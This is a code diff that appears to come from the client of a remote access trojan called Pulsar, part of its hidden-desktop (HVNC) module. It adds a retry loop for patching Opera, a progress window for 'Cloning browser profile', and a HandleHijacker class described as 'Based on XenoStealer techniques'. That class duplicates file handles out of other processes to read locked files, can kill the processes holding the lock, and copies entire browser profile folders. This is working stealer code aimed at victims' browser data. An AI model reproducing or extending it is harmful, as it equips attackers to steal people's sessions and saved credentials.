/// <param name="delayBetweenRetries">Delay between retry attempts in milliseconds</param>
|
||||
/// <returns>Task that completes when patching is done</returns>
|
||||
public static async Task PatchOperaAsync(int maxRetries = 5, int delayBetweenRetries = 2000)
|
||||
{
|
||||
await Task.Run(async () =>
|
||||
{
|
||||
for (int attempt = 0; attempt < maxRetries; attempt++)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (PatchOperaProcesses())
|
||||
{
|
||||
Debug.WriteLine("Opera patching completed successfully");
|
||||
return;
|
||||
}
|
||||
|
||||
if (attempt < maxRetries - 1)
|
||||
{
|
||||
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed, retrying in {delayBetweenRetries}ms");
|
||||
await Task.Delay(delayBetweenRetries);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed with exception: {ex.Message}");
|
||||
if (attempt < maxRetries - 1)
|
||||
{
|
||||
await Task.Delay(delayBetweenRetries);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Debug.WriteLine("All Opera patching attempts failed");
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
+114
@@ -0,0 +1,114 @@
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
partial class CloneProgressForm
|
||||
{
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
private System.Windows.Forms.Label lblTitle;
|
||||
private System.Windows.Forms.Label lblDetail;
|
||||
private System.Windows.Forms.ProgressBar progressBar;
|
||||
private System.Windows.Forms.Button btnCancel;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
this.lblTitle = new System.Windows.Forms.Label();
|
||||
this.lblDetail = new System.Windows.Forms.Label();
|
||||
this.progressBar = new System.Windows.Forms.ProgressBar();
|
||||
this.btnCancel = new System.Windows.Forms.Button();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// lblTitle
|
||||
//
|
||||
this.lblTitle.AutoSize = false;
|
||||
this.lblTitle.Dock = System.Windows.Forms.DockStyle.Top;
|
||||
this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point);
|
||||
this.lblTitle.Location = new System.Drawing.Point(10, 10);
|
||||
this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
|
||||
this.lblTitle.Name = "lblTitle";
|
||||
this.lblTitle.Size = new System.Drawing.Size(280, 20);
|
||||
this.lblTitle.TabIndex = 0;
|
||||
this.lblTitle.Text = "Cloning browser profile...";
|
||||
this.lblTitle.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
|
||||
//
|
||||
// lblDetail
|
||||
//
|
||||
this.lblDetail.AutoEllipsis = true;
|
||||
this.lblDetail.Dock = System.Windows.Forms.DockStyle.Top;
|
||||
this.lblDetail.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
|
||||
this.lblDetail.Location = new System.Drawing.Point(10, 30);
|
||||
this.lblDetail.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
|
||||
this.lblDetail.Name = "lblDetail";
|
||||
this.lblDetail.Size = new System.Drawing.Size(280, 17);
|
||||
this.lblDetail.TabIndex = 1;
|
||||
this.lblDetail.Text = "Preparing...";
|
||||
this.lblDetail.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
|
||||
//
|
||||
// progressBar
|
||||
//
|
||||
this.progressBar.Dock = System.Windows.Forms.DockStyle.Top;
|
||||
this.progressBar.Location = new System.Drawing.Point(10, 50);
|
||||
this.progressBar.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
|
||||
this.progressBar.Name = "progressBar";
|
||||
this.progressBar.Size = new System.Drawing.Size(280, 15);
|
||||
this.progressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee;
|
||||
this.progressBar.TabIndex = 2;
|
||||
//
|
||||
// btnCancel
|
||||
//
|
||||
this.btnCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.btnCancel.FlatStyle = System.Windows.Forms.FlatStyle.System;
|
||||
this.btnCancel.Location = new System.Drawing.Point(215, 73);
|
||||
this.btnCancel.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
|
||||
this.btnCancel.Name = "btnCancel";
|
||||
this.btnCancel.Size = new System.Drawing.Size(75, 23);
|
||||
this.btnCancel.TabIndex = 3;
|
||||
this.btnCancel.Text = "Cancel";
|
||||
this.btnCancel.UseVisualStyleBackColor = true;
|
||||
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
|
||||
//
|
||||
// CloneProgressForm
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
|
||||
this.ClientSize = new System.Drawing.Size(300, 110);
|
||||
this.Controls.Add(this.progressBar);
|
||||
this.Controls.Add(this.btnCancel);
|
||||
this.Controls.Add(this.lblDetail);
|
||||
this.Controls.Add(this.lblTitle);
|
||||
this.DoubleBuffered = true;
|
||||
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
|
||||
this.ForeColor = System.Drawing.Color.Gainsboro;
|
||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
|
||||
this.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = "CloneProgressForm";
|
||||
this.Padding = new System.Windows.Forms.Padding(10);
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||
this.Text = "Profile cloning";
|
||||
this.TopMost = true;
|
||||
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.CloneProgressForm_FormClosing);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
internal partial class CloneProgressForm : Form
|
||||
{
|
||||
private const int CloseDelayMilliseconds = 450;
|
||||
private bool _isCompleting;
|
||||
private bool _cancelRaised;
|
||||
|
||||
public CloneProgressForm()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
public event EventHandler UserRequestedCancel;
|
||||
|
||||
public void Initialize(string browserName)
|
||||
{
|
||||
lblTitle.Text = string.IsNullOrWhiteSpace(browserName)
|
||||
? "Cloning browser profile..."
|
||||
: $"Cloning {browserName} profile...";
|
||||
lblDetail.Text = "Preparing...";
|
||||
progressBar.Style = ProgressBarStyle.Marquee;
|
||||
}
|
||||
|
||||
public void ShowPreparing()
|
||||
{
|
||||
progressBar.Style = ProgressBarStyle.Marquee;
|
||||
lblDetail.Text = "Preparing...";
|
||||
}
|
||||
|
||||
public void UpdateProgress(BrowserCloneProgress progress)
|
||||
{
|
||||
if (IsDisposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (progress.IsIndeterminate || progress.TotalFiles <= 0)
|
||||
{
|
||||
progressBar.Style = ProgressBarStyle.Marquee;
|
||||
lblDetail.Text = "Preparing...";
|
||||
return;
|
||||
}
|
||||
|
||||
if (progressBar.Style != ProgressBarStyle.Continuous)
|
||||
{
|
||||
progressBar.Style = ProgressBarStyle.Continuous;
|
||||
}
|
||||
|
||||
int maximum = Math.Max(1, progress.TotalFiles);
|
||||
if (progressBar.Maximum != maximum)
|
||||
{
|
||||
progressBar.Maximum = maximum;
|
||||
}
|
||||
|
||||
int value = Math.Min(progress.FilesCopied, progressBar.Maximum);
|
||||
progressBar.Value = Math.Max(0, value);
|
||||
|
||||
string currentFile = progress.CurrentItem;
|
||||
if (!string.IsNullOrEmpty(currentFile) && currentFile.Length > 50)
|
||||
{
|
||||
currentFile = "..." + currentFile.Substring(currentFile.Length - 50);
|
||||
}
|
||||
|
||||
lblDetail.Text = string.IsNullOrEmpty(currentFile)
|
||||
? $"Cloned {progress.FilesCopied} of {progress.TotalFiles} files"
|
||||
: $"{progress.FilesCopied}/{progress.TotalFiles}: {currentFile}";
|
||||
}
|
||||
|
||||
public void BeginCompleteAnimation(bool wasSuccessful, Action onClosed)
|
||||
{
|
||||
_isCompleting = true;
|
||||
btnCancel.Enabled = false;
|
||||
|
||||
if (IsDisposed)
|
||||
{
|
||||
onClosed?.Invoke();
|
||||
return;
|
||||
}
|
||||
|
||||
progressBar.Style = ProgressBarStyle.Continuous;
|
||||
progressBar.Maximum = 100;
|
||||
progressBar.Value = 100;
|
||||
|
||||
lblDetail.Text = wasSuccessful ? "Profile cloned successfully" : "Profile clone failed";
|
||||
|
||||
var closeTimer = new Timer
|
||||
{
|
||||
Interval = CloseDelayMilliseconds
|
||||
};
|
||||
|
||||
closeTimer.Tick += (sender, args) =>
|
||||
{
|
||||
closeTimer.Stop();
|
||||
closeTimer.Dispose();
|
||||
onClosed?.Invoke();
|
||||
if (!IsDisposed)
|
||||
{
|
||||
Close();
|
||||
}
|
||||
};
|
||||
|
||||
closeTimer.Start();
|
||||
}
|
||||
|
||||
private void btnCancel_Click(object sender, EventArgs e)
|
||||
{
|
||||
RaiseCancelRequested();
|
||||
if (!IsDisposed)
|
||||
{
|
||||
Close();
|
||||
}
|
||||
}
|
||||
|
||||
private void CloneProgressForm_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
if (_isCompleting)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.CloseReason == CloseReason.UserClosing || e.CloseReason == CloseReason.TaskManagerClosing)
|
||||
{
|
||||
RaiseCancelRequested();
|
||||
}
|
||||
}
|
||||
|
||||
private void RaiseCancelRequested()
|
||||
{
|
||||
if (_cancelRaised)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
_cancelRaised = true;
|
||||
UserRequestedCancel?.Invoke(this, EventArgs.Empty);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,695 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using Pulsar.Client.Recovery.Utilities.Xeno;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
/// <summary>
|
||||
/// Advanced file reading using handle hijacking and memory mapping
|
||||
/// Based on XenoStealer techniques - reads locked files without killing processes
|
||||
/// </summary>
|
||||
internal static class HandleHijacker
|
||||
{
|
||||
#region Native Structures
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
|
||||
{
|
||||
public IntPtr Object;
|
||||
public IntPtr UniqueProcessId;
|
||||
public IntPtr HandleValue;
|
||||
public uint GrantedAccess;
|
||||
public ushort CreatorBackTraceIndex;
|
||||
public ushort ObjectTypeIndex;
|
||||
public uint HandleAttributes;
|
||||
public uint Reserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct SYSTEM_HANDLE_INFORMATION_EX
|
||||
{
|
||||
public IntPtr NumberOfHandles;
|
||||
public IntPtr Reserved;
|
||||
// Handles follow after this
|
||||
}
|
||||
|
||||
private enum SYSTEM_INFORMATION_CLASS
|
||||
{
|
||||
SystemExtendedHandleInformation = 64
|
||||
}
|
||||
|
||||
private enum FileType : uint
|
||||
{
|
||||
FILE_TYPE_UNKNOWN = 0x0000,
|
||||
FILE_TYPE_DISK = 0x0001,
|
||||
FILE_TYPE_CHAR = 0x0002,
|
||||
FILE_TYPE_PIPE = 0x0003
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct RM_UNIQUE_PROCESS
|
||||
{
|
||||
public uint dwProcessId;
|
||||
public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct RM_PROCESS_INFO
|
||||
{
|
||||
public RM_UNIQUE_PROCESS Process;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
|
||||
public string strAppName;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)]
|
||||
public string strServiceShortName;
|
||||
public uint ApplicationType;
|
||||
public uint AppStatus;
|
||||
public uint TSSessionId;
|
||||
[MarshalAs(UnmanagedType.Bool)]
|
||||
public bool bRestartable;
|
||||
}
|
||||
|
||||
private enum RM_REBOOT_REASON
|
||||
{
|
||||
RmRebootReasonNone = 0x0,
|
||||
RmRebootReasonPermissionDenied = 0x1,
|
||||
RmRebootReasonSessionMismatch = 0x2,
|
||||
RmRebootReasonCriticalProcess = 0x4,
|
||||
RmRebootReasonCriticalService = 0x8,
|
||||
RmRebootReasonDetectedSelf = 0x10
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Native Methods
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
private static extern uint NtQuerySystemInformation(
|
||||
SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
IntPtr SystemInformation,
|
||||
uint SystemInformationLength,
|
||||
out uint ReturnLength);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
uint dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
uint dwOptions);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern FileType GetFileType(IntPtr hFile);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
private static extern uint GetFinalPathNameByHandleW(
|
||||
IntPtr hFile,
|
||||
StringBuilder lpszFilePath,
|
||||
uint cchFilePath,
|
||||
uint dwFlags);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||
private static extern IntPtr CreateFileMappingA(
|
||||
IntPtr hFile,
|
||||
IntPtr lpFileMappingAttributes,
|
||||
uint flProtect,
|
||||
uint dwMaximumSizeHigh,
|
||||
uint dwMaximumSizeLow,
|
||||
string lpName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool GetFileSizeEx(IntPtr hFile, out ulong lpFileSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr MapViewOfFile(
|
||||
IntPtr hFileMappingObject,
|
||||
uint dwDesiredAccess,
|
||||
uint dwFileOffsetHigh,
|
||||
uint dwFileOffsetLow,
|
||||
UIntPtr dwNumberOfBytesToMap);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool UnmapViewOfFile(IntPtr lpBaseAddress);
|
||||
|
||||
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern int RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey);
|
||||
|
||||
[DllImport("rstrtmgr.dll")]
|
||||
private static extern int RmEndSession(uint pSessionHandle);
|
||||
|
||||
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern int RmRegisterResources(
|
||||
uint pSessionHandle,
|
||||
uint nFiles,
|
||||
string[] rgsFilenames,
|
||||
uint nApplications,
|
||||
RM_UNIQUE_PROCESS[] rgApplications,
|
||||
uint nServices,
|
||||
string[] rgsServiceNames);
|
||||
|
||||
[DllImport("rstrtmgr.dll")]
|
||||
private static extern int RmGetList(
|
||||
uint dwSessionHandle,
|
||||
out uint pnProcInfoNeeded,
|
||||
ref uint pnProcInfo,
|
||||
[In, Out] RM_PROCESS_INFO[] rgAffectedApps,
|
||||
out RM_REBOOT_REASON lpdwRebootReasons);
|
||||
|
||||
#endregion
|
||||
|
||||
#region Constants
|
||||
|
||||
private const uint PROCESS_DUP_HANDLE = 0x0040;
|
||||
private const uint DUPLICATE_SAME_ACCESS = 0x00000002;
|
||||
private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
|
||||
private const uint PAGE_READONLY = 0x02;
|
||||
private const uint FILE_MAP_READ = 0x04;
|
||||
private const uint FILE_NAME_NORMALIZED = 0x0;
|
||||
private const uint ERROR_MORE_DATA = 0xEA;
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Safely closes a handle, ignoring exceptions from pseudo-handles or invalid handles
|
||||
/// </summary>
|
||||
private static void SafeCloseHandle(IntPtr handle)
|
||||
{
|
||||
if (handle == IntPtr.Zero || handle == new IntPtr(-1))
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
CloseHandle(handle);
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Some handles (like pseudo-handles) throw exceptions when closed
|
||||
// This is expected and can be safely ignored
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Forces reading a file even if it's locked by another process
|
||||
/// Uses handle hijacking and memory mapping
|
||||
/// </summary>
|
||||
public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfFailed = false)
|
||||
{
|
||||
// First try normal read
|
||||
try
|
||||
{
|
||||
return File.ReadAllBytes(filePath);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
// -2147024864 is the HRESULT for file being used by another process
|
||||
if (e.HResult != -2147024864)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
Debug.WriteLine($"[HandleHijacker] File locked: {filePath}");
|
||||
Debug.WriteLine("[HandleHijacker] Attempting handle hijacking...");
|
||||
|
||||
bool hasPids = GetProcessesLockingFile(filePath, out int[] lockingProcesses);
|
||||
|
||||
IntPtr pInfo = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
uint dwSize = 0;
|
||||
uint status;
|
||||
int handleStructSize = Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX));
|
||||
|
||||
pInfo = Marshal.AllocHGlobal(handleStructSize);
|
||||
do
|
||||
{
|
||||
status = NtQuerySystemInformation(
|
||||
SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation,
|
||||
pInfo,
|
||||
dwSize,
|
||||
out dwSize);
|
||||
|
||||
if (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize);
|
||||
}
|
||||
} while (status != 0);
|
||||
|
||||
IntPtr pInfoBackup = pInfo;
|
||||
ulong numOfHandles = (ulong)Marshal.ReadIntPtr(pInfo);
|
||||
pInfo += 2 * IntPtr.Size;
|
||||
|
||||
Debug.WriteLine($"[HandleHijacker] Scanning {numOfHandles} handles...");
|
||||
|
||||
byte[] result = null;
|
||||
|
||||
for (ulong i = 0; i < numOfHandles; i++)
|
||||
{
|
||||
IntPtr handlePtr = pInfo + (int)(i * (uint)handleStructSize);
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo =
|
||||
Marshal.PtrToStructure<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>(handlePtr);
|
||||
|
||||
if (hasPids && !Array.Exists(lockingProcesses, pid => pid == (int)(uint)handleInfo.UniqueProcessId))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// dupe handle
|
||||
if (DuplicateHandleFromProcess(
|
||||
(int)handleInfo.UniqueProcessId,
|
||||
handleInfo.HandleValue,
|
||||
out IntPtr duppedHandle))
|
||||
{
|
||||
try
|
||||
{
|
||||
if (GetFileType(duppedHandle) != FileType.FILE_TYPE_DISK)
|
||||
{
|
||||
SafeCloseHandle(duppedHandle);
|
||||
continue;
|
||||
}
|
||||
|
||||
string handlePath = GetPathFromHandle(duppedHandle);
|
||||
if (handlePath == null)
|
||||
{
|
||||
SafeCloseHandle(duppedHandle);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (handlePath.StartsWith("\\\\?\\"))
|
||||
{
|
||||
handlePath = handlePath.Substring(4);
|
||||
}
|
||||
|
||||
if (string.Equals(handlePath, filePath, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
Debug.WriteLine($"[HandleHijacker] Found matching handle from PID {handleInfo.UniqueProcessId}");
|
||||
result = ReadFileBytesFromHandle(duppedHandle);
|
||||
SafeCloseHandle(duppedHandle);
|
||||
|
||||
if (result != null)
|
||||
{
|
||||
Debug.WriteLine($"[HandleHijacker] Successfully read {result.Length} bytes");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
SafeCloseHandle(duppedHandle);
|
||||
}
|
||||
catch
|
||||
{
|
||||
SafeCloseHandle(duppedHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Marshal.FreeHGlobal(pInfoBackup);
|
||||
|
||||
if (result == null && killOwningProcessIfFailed && lockingProcesses != null)
|
||||
{
|
||||
Debug.WriteLine($"[HandleHijacker] Handle hijacking failed for '{filePath}', killing locking processes...");
|
||||
foreach (var pid in lockingProcesses)
|
||||
{
|
||||
try
|
||||
{
|
||||
var proc = Process.GetProcessById(pid);
|
||||
Debug.WriteLine($"[HandleHijacker] Killing process PID {pid} ({proc.ProcessName})");
|
||||
proc.Kill();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
System.Threading.Thread.Sleep(100);
|
||||
|
||||
try
|
||||
{
|
||||
result = File.ReadAllBytes(filePath);
|
||||
Debug.WriteLine("[HandleHijacker] Successfully read after killing processes");
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (pInfo != IntPtr.Zero)
|
||||
{
|
||||
try { Marshal.FreeHGlobal(pInfo); } catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies a locked file using handle hijacking
|
||||
/// </summary>
|
||||
public static bool ForceCopyFile(string sourcePath, string destinationPath, bool killIfFailed = false)
|
||||
{
|
||||
bool hijacked = FileHandlerXeno.CloneFileByHandleHijacking(sourcePath, destinationPath);
|
||||
if (hijacked && ValidateFileCopy(sourcePath, destinationPath))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
byte[] fileData = ForceReadFile(sourcePath, killIfFailed);
|
||||
if (fileData == null)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
File.WriteAllBytes(destinationPath, fileData);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[HandleHijacker] Failed to write file '{destinationPath}': {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!ValidateFileCopy(sourcePath, destinationPath))
|
||||
{
|
||||
Debug.WriteLine($"[HandleHijacker] Validation failed after writing '{destinationPath}'.");
|
||||
try
|
||||
{
|
||||
if (File.Exists(destinationPath))
|
||||
{
|
||||
File.Delete(destinationPath);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static bool DuplicateHandleFromProcess(int sourceProcessId, IntPtr sourceHandle, out IntPtr targetHandle)
|
||||
{
|
||||
targetHandle = IntPtr.Zero;
|
||||
|
||||
IntPtr procHandle = OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProcessId);
|
||||
if (procHandle == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
IntPtr newHandle = IntPtr.Zero;
|
||||
bool success = DuplicateHandle(
|
||||
procHandle,
|
||||
sourceHandle,
|
||||
GetCurrentProcess(),
|
||||
ref newHandle,
|
||||
0,
|
||||
false,
|
||||
DUPLICATE_SAME_ACCESS);
|
||||
|
||||
CloseHandle(procHandle);
|
||||
|
||||
if (success && newHandle != IntPtr.Zero)
|
||||
{
|
||||
targetHandle = newHandle;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private static string GetPathFromHandle(IntPtr fileHandle)
|
||||
{
|
||||
StringBuilder fileNameBuilder = new StringBuilder(32767 + 2);
|
||||
uint pathLen = GetFinalPathNameByHandleW(
|
||||
fileHandle,
|
||||
fileNameBuilder,
|
||||
(uint)fileNameBuilder.Capacity,
|
||||
FILE_NAME_NORMALIZED);
|
||||
|
||||
if (pathLen == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
return fileNameBuilder.ToString(0, (int)pathLen);
|
||||
}
|
||||
|
||||
private static byte[] ReadFileBytesFromHandle(IntPtr handle)
|
||||
{
|
||||
IntPtr fileMapping = CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
|
||||
if (fileMapping == IntPtr.Zero)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (!GetFileSizeEx(handle, out ulong fileSize))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
if (fileSize == 0)
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
|
||||
IntPtr baseAddress = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize);
|
||||
if (baseAddress == IntPtr.Zero)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
byte[] fileData = new byte[fileSize];
|
||||
Marshal.Copy(baseAddress, fileData, 0, (int)fileSize);
|
||||
return fileData;
|
||||
}
|
||||
finally
|
||||
{
|
||||
UnmapViewOfFile(baseAddress);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(fileMapping);
|
||||
}
|
||||
}
|
||||
|
||||
private static bool GetProcessesLockingFile(string filePath, out int[] processes)
|
||||
{
|
||||
processes = null;
|
||||
|
||||
string sessionKey = Guid.NewGuid().ToString();
|
||||
if (RmStartSession(out uint sessionHandle, 0, sessionKey) != 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
string[] resources = new string[] { filePath };
|
||||
if (RmRegisterResources(sessionHandle, (uint)resources.Length, resources, 0, null, 0, null) != 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
uint nProcInfo = 0;
|
||||
int status = RmGetList(sessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out _);
|
||||
|
||||
if (status != ERROR_MORE_DATA)
|
||||
{
|
||||
processes = new int[0];
|
||||
return true;
|
||||
}
|
||||
|
||||
RM_PROCESS_INFO[] affectedApps = new RM_PROCESS_INFO[nProcInfoNeeded];
|
||||
nProcInfo = nProcInfoNeeded;
|
||||
status = RmGetList(sessionHandle, out nProcInfoNeeded, ref nProcInfo, affectedApps, out _);
|
||||
|
||||
if (status == 0)
|
||||
{
|
||||
processes = new int[affectedApps.Length];
|
||||
for (int i = 0; i < affectedApps.Length; i++)
|
||||
{
|
||||
processes[i] = (int)affectedApps[i].Process.dwProcessId;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
finally
|
||||
{
|
||||
RmEndSession(sessionHandle);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies an entire directory using handle hijacking for locked files
|
||||
/// </summary>
|
||||
public static bool ForceCopyDirectory(string sourceDir, string destDir, bool killIfFailed = false, IProgress<BrowserCloneProgress> progress = null, CancellationToken cancellationToken = default)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(sourceDir))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
Directory.CreateDirectory(destDir);
|
||||
|
||||
var directories = new List<string>();
|
||||
